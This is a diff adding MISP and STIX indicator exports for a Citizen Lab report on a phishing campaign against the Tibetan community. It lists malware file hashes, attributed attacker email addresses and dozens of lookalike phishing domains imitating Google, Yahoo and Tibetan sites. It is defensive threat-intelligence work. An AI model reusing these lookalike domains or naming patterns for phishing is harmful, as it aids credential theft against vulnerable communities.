"to_ids": false, + "uuid": "5a5e59f3-a7b8-403d-8836-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132851", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "8e44755f02e9769c95dd9528ca1f462e", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17922", + "type": "sha1", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5a5e5a0d-d630-49f5-beab-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132877", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "381f8f812a8609134eff661157d88d32da029af1", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "17921", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5a5e5a05-dfd4-4771-beff-06df8e96ca05", + "event_id": "57", + "distribution": "5", + "timestamp": "1516132869", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "654e952324bddf09ca7b014bfdf79103c643d21d648182f911a65d7c907803b8", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + } + ], + "ShadowAttribute": [ + + ], + "RelatedEvent": [ + + ], + "Tag": [ + ] + } +}]} diff --git a/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/stix.xml b/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/stix.xml new file mode 100644 index 0000000..bab9f79 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201801_SpyingOnABudget/stix.xml @@ -0,0 +1,4463 @@ + + + Export from MISP + Threat Report + + + + + + Spying on a Budget: Inside a Phishing Operation Targeting the Tibetan Community + Threat Report + + + + Spying on a Budget: Inside a Phishing Operation Targeting the Tibetan Community + 57 + + 2016-12-08T00:00:00+00:00 + 2018-01-16T16:34:45+00:00 + + Open + + + Artifacts dropped + + Artifacts dropped: 0963bee29e797ea7481be5f18f354029 (MISP Attribute #17923) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 0963bee29e797ea7481be5f18f354029 (MISP Attribute #17923) + + + + + + + MD5 + 0963bee29e797ea7481be5f18f354029 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 2ab43fc90a1928684b8590375643da52285b8625 (MISP Attribute #17924) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 2ab43fc90a1928684b8590375643da52285b8625 (MISP Attribute #17924) + + + + + + + SHA1 + 2ab43fc90a1928684b8590375643da52285b8625 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: f5967a8f3db4f4f33e89976e39914fceff46401bd2243b29162e1ddeb61f8dd3 (MISP Attribute #17925) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: f5967a8f3db4f4f33e89976e39914fceff46401bd2243b29162e1ddeb61f8dd3 (MISP Attribute #17925) + + + + + + + SHA256 + f5967a8f3db4f4f33e89976e39914fceff46401bd2243b29162e1ddeb61f8dd3 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: deepcliff@sina.com (MISP Attribute #17926) + Malware Artifacts + Attribution: deepcliff@sina.com (MISP Attribute #17926) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: liang007@outlook.com (MISP Attribute #17927) + Malware Artifacts + Attribution: liang007@outlook.com (MISP Attribute #17927) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: directoriaffairs@outlook.com (MISP Attribute #17928) + Malware Artifacts + Attribution: directoriaffairs@outlook.com (MISP Attribute #17928) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: leungguodong@outlook.com (MISP Attribute #17929) + Malware Artifacts + Attribution: leungguodong@outlook.com (MISP Attribute #17929) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: zhuchangzi@outlook.com (MISP Attribute #17930) + Malware Artifacts + Attribution: zhuchangzi@outlook.com (MISP Attribute #17930) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: uglybeeking@hotmail.com (MISP Attribute #17931) + Malware Artifacts + Attribution: uglybeeking@hotmail.com (MISP Attribute #17931) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: styloveyou@163.com (MISP Attribute #17932) + Malware Artifacts + Attribution: styloveyou@163.com (MISP Attribute #17932) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: evalliang@163.com (MISP Attribute #17933) + Malware Artifacts + Attribution: evalliang@163.com (MISP Attribute #17933) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: pangchokpa@gmail.com (MISP Attribute #17934) + Malware Artifacts + Attribution: pangchokpa@gmail.com (MISP Attribute #17934) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: 6060841@qq.com (MISP Attribute #17935) + Malware Artifacts + Attribution: 6060841@qq.com (MISP Attribute #17935) + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-drive-google.cf (MISP Attribute #15616) + Malware Artifacts + Domain Watchlist + Network activity: https-drive-google.cf (MISP Attribute #15616) + + + + + https-drive-google.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mydrive-accounts-google.ml (MISP Attribute #15617) + Malware Artifacts + Domain Watchlist + Network activity: mydrive-accounts-google.ml (MISP Attribute #15617) + + + + + mydrive-accounts-google.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-drive-accounts-goog1e.cf (MISP Attribute #15618) + Malware Artifacts + Domain Watchlist + Network activity: https-drive-accounts-goog1e.cf (MISP Attribute #15618) + + + + + https-drive-accounts-goog1e.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-drive.gq (MISP Attribute #15619) + Malware Artifacts + Domain Watchlist + Network activity: google-drive.gq (MISP Attribute #15619) + + + + + google-drive.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-drive-google.ml (MISP Attribute #15620) + Malware Artifacts + Domain Watchlist + Network activity: https-drive-google.ml (MISP Attribute #15620) + + + + + https-drive-google.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-accounts-goog1e.cf (MISP Attribute #15621) + Malware Artifacts + Domain Watchlist + Network activity: drive-accounts-goog1e.cf (MISP Attribute #15621) + + + + + drive-accounts-goog1e.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsmydrive-accounts-goog1e.gq (MISP Attribute #15622) + Malware Artifacts + Domain Watchlist + Network activity: httpsmydrive-accounts-goog1e.gq (MISP Attribute #15622) + + + + + httpsmydrive-accounts-goog1e.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-accounts-google.ml (MISP Attribute #15623) + Malware Artifacts + Domain Watchlist + Network activity: drive-accounts-google.ml (MISP Attribute #15623) + + + + + drive-accounts-google.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsgoogle-drive.gq (MISP Attribute #15624) + Malware Artifacts + Domain Watchlist + Network activity: httpsgoogle-drive.gq (MISP Attribute #15624) + + + + + httpsgoogle-drive.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsaccounts-google.ga (MISP Attribute #15625) + Malware Artifacts + Domain Watchlist + Network activity: httpsaccounts-google.ga (MISP Attribute #15625) + + + + + httpsaccounts-google.ga + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-goog1e.in (MISP Attribute #15626) + Malware Artifacts + Domain Watchlist + Network activity: accounts-goog1e.in (MISP Attribute #15626) + + + + + accounts-goog1e.in + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: microsoft-inc.us (MISP Attribute #15627) + Malware Artifacts + Domain Watchlist + Network activity: microsoft-inc.us (MISP Attribute #15627) + + + + + microsoft-inc.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: goog1e.space (MISP Attribute #15628) + Malware Artifacts + Domain Watchlist + Network activity: goog1e.space (MISP Attribute #15628) + + + + + goog1e.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-secret.com (MISP Attribute #15629) + Malware Artifacts + Domain Watchlist + Network activity: mail-secret.com (MISP Attribute #15629) + + + + + mail-secret.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: files-mail-google.ml (MISP Attribute #15630) + Malware Artifacts + Domain Watchlist + Network activity: files-mail-google.ml (MISP Attribute #15630) + + + + + files-mail-google.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-authorize.gq (MISP Attribute #15631) + Malware Artifacts + Domain Watchlist + Network activity: google-authorize.gq (MISP Attribute #15631) + + + + + google-authorize.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-google.gq (MISP Attribute #15632) + Malware Artifacts + Domain Watchlist + Network activity: accounts-google.gq (MISP Attribute #15632) + + + + + accounts-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccounts-gooog1e.com (MISP Attribute #16144) + Malware Artifacts + Domain Watchlist + Network activity: myaccounts-gooog1e.com (MISP Attribute #16144) + + + + + myaccounts-gooog1e.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.gmail-profile.com (MISP Attribute #17936) + Malware Artifacts + Domain Watchlist + Network activity: www.gmail-profile.com (MISP Attribute #17936) + + + + + www.gmail-profile.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-settings.ml (MISP Attribute #15633) + Malware Artifacts + Domain Watchlist + Network activity: google-settings.ml (MISP Attribute #15633) + + + + + google-settings.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.google-sign.tk (MISP Attribute #17937) + Malware Artifacts + Domain Watchlist + Network activity: www.google-sign.tk (MISP Attribute #17937) + + + + + www.google-sign.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive.postmailsecret.com (MISP Attribute #17938) + Malware Artifacts + Domain Watchlist + Network activity: drive.postmailsecret.com (MISP Attribute #17938) + + + + + drive.postmailsecret.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-google-com.gq (MISP Attribute #15635) + Malware Artifacts + Domain Watchlist + Network activity: mail-google-com.gq (MISP Attribute #15635) + + + + + mail-google-com.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.drive-mail.online (MISP Attribute #17939) + Malware Artifacts + Domain Watchlist + Network activity: www.drive-mail.online (MISP Attribute #17939) + + + + + www.drive-mail.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webmail.postmailsecret.com (MISP Attribute #17940) + Malware Artifacts + Domain Watchlist + Network activity: webmail.postmailsecret.com (MISP Attribute #17940) + + + + + webmail.postmailsecret.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-mg16-yahoo.cf (MISP Attribute #15637) + Malware Artifacts + Domain Watchlist + Network activity: mail-mg16-yahoo.cf (MISP Attribute #15637) + + + + + mail-mg16-yahoo.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.yahoo-verification.us (MISP Attribute #17941) + Malware Artifacts + Domain Watchlist + Network activity: www.yahoo-verification.us (MISP Attribute #17941) + + + + + www.yahoo-verification.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.drive-mail.us (MISP Attribute #17942) + Malware Artifacts + Domain Watchlist + Network activity: www.drive-mail.us (MISP Attribute #17942) + + + + + www.drive-mail.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: yahoo-noreply.tk (MISP Attribute #15639) + Malware Artifacts + Domain Watchlist + Network activity: yahoo-noreply.tk (MISP Attribute #15639) + + + + + yahoo-noreply.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.login-live.us (MISP Attribute #17943) + Malware Artifacts + Domain Watchlist + Network activity: www.login-live.us (MISP Attribute #17943) + + + + + www.login-live.us + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: yahoo-secure.tk (MISP Attribute #15640) + Malware Artifacts + Domain Watchlist + Network activity: yahoo-secure.tk (MISP Attribute #15640) + + + + + yahoo-secure.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.drive-mail.info (MISP Attribute #17944) + Malware Artifacts + Domain Watchlist + Network activity: www.drive-mail.info (MISP Attribute #17944) + + + + + www.drive-mail.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-mailbox.space (MISP Attribute #16153) + Malware Artifacts + Domain Watchlist + Network activity: accounts-mailbox.space (MISP Attribute #16153) + + + + + accounts-mailbox.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts.gooog1e.com (MISP Attribute #17945) + Malware Artifacts + Domain Watchlist + Network activity: accounts.gooog1e.com (MISP Attribute #17945) + + + + + accounts.gooog1e.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-defense.tk (MISP Attribute #16154) + Malware Artifacts + Domain Watchlist + Network activity: mail-defense.tk (MISP Attribute #16154) + + + + + mail-defense.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive.gooog1e.com (MISP Attribute #17946) + Malware Artifacts + Domain Watchlist + Network activity: drive.gooog1e.com (MISP Attribute #17946) + + + + + drive.gooog1e.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive.mail-status.com (MISP Attribute #17947) + Malware Artifacts + Domain Watchlist + Network activity: drive.mail-status.com (MISP Attribute #17947) + + + + + drive.mail-status.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive.myaccount-mail.com (MISP Attribute #17948) + Malware Artifacts + Domain Watchlist + Network activity: drive.myaccount-mail.com (MISP Attribute #17948) + + + + + drive.myaccount-mail.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccount-mail.com (MISP Attribute #17949) + Malware Artifacts + Domain Watchlist + Network activity: myaccount-mail.com (MISP Attribute #17949) + + + + + myaccount-mail.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: gmail-retry.tk (MISP Attribute #15646) + Malware Artifacts + Domain Watchlist + Network activity: gmail-retry.tk (MISP Attribute #15646) + + + + + gmail-retry.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https.drive-google.gq (MISP Attribute #17950) + Malware Artifacts + Domain Watchlist + Network activity: https.drive-google.gq (MISP Attribute #17950) + + + + + https.drive-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-163.tk (MISP Attribute #15647) + Malware Artifacts + Domain Watchlist + Network activity: mail-163.tk (MISP Attribute #15647) + + + + + mail-163.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-google.co.in (MISP Attribute #17439) + Malware Artifacts + Domain Watchlist + Network activity: accounts-google.co.in (MISP Attribute #17439) + + + + + accounts-google.co.in + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive.accounts-gooog1e.online (MISP Attribute #17951) + Malware Artifacts + Domain Watchlist + Network activity: drive.accounts-gooog1e.online (MISP Attribute #17951) + + + + + drive.accounts-gooog1e.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: gmail-secure.tk (MISP Attribute #15648) + Malware Artifacts + Domain Watchlist + Network activity: gmail-secure.tk (MISP Attribute #15648) + + + + + gmail-secure.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dalailama.space (MISP Attribute #17440) + Malware Artifacts + Domain Watchlist + Network activity: dalailama.space (MISP Attribute #17440) + + + + + dalailama.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webmail.dalailama.space (MISP Attribute #17952) + Malware Artifacts + Domain Watchlist + Network activity: webmail.dalailama.space (MISP Attribute #17952) + + + + + webmail.dalailama.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: docs-mail.space (MISP Attribute #17441) + Malware Artifacts + Domain Watchlist + Network activity: docs-mail.space (MISP Attribute #17441) + + + + + docs-mail.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.mail-protect.space (MISP Attribute #17953) + Malware Artifacts + Domain Watchlist + Network activity: www.mail-protect.space (MISP Attribute #17953) + + + + + www.mail-protect.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-accounts-google.ga (MISP Attribute #17442) + Malware Artifacts + Domain Watchlist + Network activity: drive-accounts-google.ga (MISP Attribute #17442) + + + + + drive-accounts-google.ga + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.mail-attachment-usercontent.space (MISP Attribute #17954) + Malware Artifacts + Domain Watchlist + Network activity: www.mail-attachment-usercontent.space (MISP Attribute #17954) + + + + + www.mail-attachment-usercontent.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-google.cf (MISP Attribute #17443) + Malware Artifacts + Domain Watchlist + Network activity: drive-google.cf (MISP Attribute #17443) + + + + + drive-google.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.drlve-gooog1e.com (MISP Attribute #17955) + Malware Artifacts + Domain Watchlist + Network activity: www.drlve-gooog1e.com (MISP Attribute #17955) + + + + + www.drlve-gooog1e.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-google.gq (MISP Attribute #17444) + Malware Artifacts + Domain Watchlist + Network activity: drive-google.gq (MISP Attribute #17444) + + + + + drive-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-google.me (MISP Attribute #17445) + Malware Artifacts + Domain Watchlist + Network activity: drive-google.me (MISP Attribute #17445) + + + + + drive-google.me + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-google.ml (MISP Attribute #17446) + Malware Artifacts + Domain Watchlist + Network activity: drive-google.ml (MISP Attribute #17446) + + + + + drive-google.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myapp-gooog1e.com (MISP Attribute #16423) + Malware Artifacts + Domain Watchlist + Network activity: myapp-gooog1e.com (MISP Attribute #16423) + + + + + myapp-gooog1e.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drive-google.space (MISP Attribute #17447) + Malware Artifacts + Domain Watchlist + Network activity: drive-google.space (MISP Attribute #17447) + + + + + drive-google.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: email-netvigator.info (MISP Attribute #16424) + Malware Artifacts + Domain Watchlist + Network activity: email-netvigator.info (MISP Attribute #16424) + + + + + email-netvigator.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: epochtimes.space (MISP Attribute #17448) + Malware Artifacts + Domain Watchlist + Network activity: epochtimes.space (MISP Attribute #17448) + + + + + epochtimes.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-dsi-go.space (MISP Attribute #16425) + Malware Artifacts + Domain Watchlist + Network activity: mail-dsi-go.space (MISP Attribute #16425) + + + + + mail-dsi-go.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: gmail-relation.tk (MISP Attribute #17449) + Malware Artifacts + Domain Watchlist + Network activity: gmail-relation.tk (MISP Attribute #17449) + + + + + gmail-relation.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-continue.space (MISP Attribute #16426) + Malware Artifacts + Domain Watchlist + Network activity: mail-continue.space (MISP Attribute #16426) + + + + + mail-continue.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: gmail-ssl.tk (MISP Attribute #17450) + Malware Artifacts + Domain Watchlist + Network activity: gmail-ssl.tk (MISP Attribute #17450) + + + + + gmail-ssl.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-package.space (MISP Attribute #16427) + Malware Artifacts + Domain Watchlist + Network activity: mail-package.space (MISP Attribute #16427) + + + + + mail-package.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-issue.tk (MISP Attribute #17451) + Malware Artifacts + Domain Watchlist + Network activity: google-issue.tk (MISP Attribute #17451) + + + + + google-issue.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: google-sign.tk (MISP Attribute #17452) + Malware Artifacts + Domain Watchlist + Network activity: google-sign.tk (MISP Attribute #17452) + + + + + google-sign.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsaccounts-google.cf (MISP Attribute #17453) + Malware Artifacts + Domain Watchlist + Network activity: httpsaccounts-google.cf (MISP Attribute #17453) + + + + + httpsaccounts-google.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsdrive-google.gq (MISP Attribute #17454) + Malware Artifacts + Domain Watchlist + Network activity: httpsdrive-google.gq (MISP Attribute #17454) + + + + + httpsdrive-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsdrive-myaccounts-google.cf (MISP Attribute #17455) + Malware Artifacts + Domain Watchlist + Network activity: httpsdrive-myaccounts-google.cf (MISP Attribute #17455) + + + + + httpsdrive-myaccounts-google.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-google-drive.ml (MISP Attribute #17456) + Malware Artifacts + Domain Watchlist + Network activity: https-google-drive.ml (MISP Attribute #17456) + + + + + https-google-drive.ml + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https-my-accounts-google.gq (MISP Attribute #17457) + Malware Artifacts + Domain Watchlist + Network activity: https-my-accounts-google.gq (MISP Attribute #17457) + + + + + https-my-accounts-google.gq + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-guazi.com (MISP Attribute #17458) + Malware Artifacts + Domain Watchlist + Network activity: mail-guazi.com (MISP Attribute #17458) + + + + + mail-guazi.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-secret.online (MISP Attribute #17459) + Malware Artifacts + Domain Watchlist + Network activity: mail-secret.online (MISP Attribute #17459) + + + + + mail-secret.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-status.com (MISP Attribute #17460) + Malware Artifacts + Domain Watchlist + Network activity: mail-status.com (MISP Attribute #17460) + + + + + mail-status.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: myaccounts-google.space (MISP Attribute #17461) + Malware Artifacts + Domain Watchlist + Network activity: myaccounts-google.space (MISP Attribute #17461) + + + + + myaccounts-google.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mydrive-google.space (MISP Attribute #17462) + Malware Artifacts + Domain Watchlist + Network activity: mydrive-google.space (MISP Attribute #17462) + + + + + mydrive-google.space + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: my-office.cf (MISP Attribute #17463) + Malware Artifacts + Domain Watchlist + Network activity: my-office.cf (MISP Attribute #17463) + + + + + my-office.cf + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: tibet-office.net (MISP Attribute #17464) + Malware Artifacts + Domain Watchlist + Network activity: tibet-office.net (MISP Attribute #17464) + + + + + tibet-office.net + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: yahoo-device.tk (MISP Attribute #17465) + Malware Artifacts + Domain Watchlist + Network activity: yahoo-device.tk (MISP Attribute #17465) + + + + + yahoo-device.tk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: accounts-google.cc (MISP Attribute #15684) + Malware Artifacts + Domain Watchlist + Network activity: accounts-google.cc (MISP Attribute #15684) + + + + + accounts-google.cc + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: httpsdocs-google.info (MISP Attribute #15689) + Malware Artifacts + Domain Watchlist + Network activity: httpsdocs-google.info (MISP Attribute #15689) + + + + + httpsdocs-google.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: drlve-gooog1e.com (MISP Attribute #15961) + Malware Artifacts + Domain Watchlist + Network activity: drlve-gooog1e.com (MISP Attribute #15961) + + + + + drlve-gooog1e.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked 